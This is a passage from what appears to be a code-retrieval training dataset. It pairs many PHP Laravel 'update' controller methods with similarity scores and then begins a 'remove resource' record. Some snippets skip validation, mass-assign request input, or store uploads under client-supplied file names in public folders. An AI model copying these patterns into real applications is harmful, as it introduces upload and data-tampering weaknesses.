$request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }", "public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }", "public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }", "public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }", "public function update(Qstore $request, $id)\n {\n //\n }", "public function update(IEntity $entity);", "protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }", "public function update($request, $id);", "function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}", "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }", "protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }", "abstract public function put($data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }", "public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }", "public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }", "public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }", "public abstract function update($object);", "public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }", "public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }", "public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }", "public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }", "public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }", "public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }", "public function update($entity)\n {\n \n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }", "public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }", "public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }", "public function update($id, $input);", "public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }", "public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}", "public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }", "public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }", "public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }", "public function update($id);", "public function update($id);", "private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }", "public function put($path, $data = null);", "public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }", "public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }", "public function update(Entity $entity);", "public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Remove the specified resource from storage.
public function destroy($id) { $poste_charges = Poste_charge::findOrFail($id); $poste_charges->delete(); return response()->json($poste_charges); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "public function delete(): void\n {\n unlink($this->path);\n }", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function 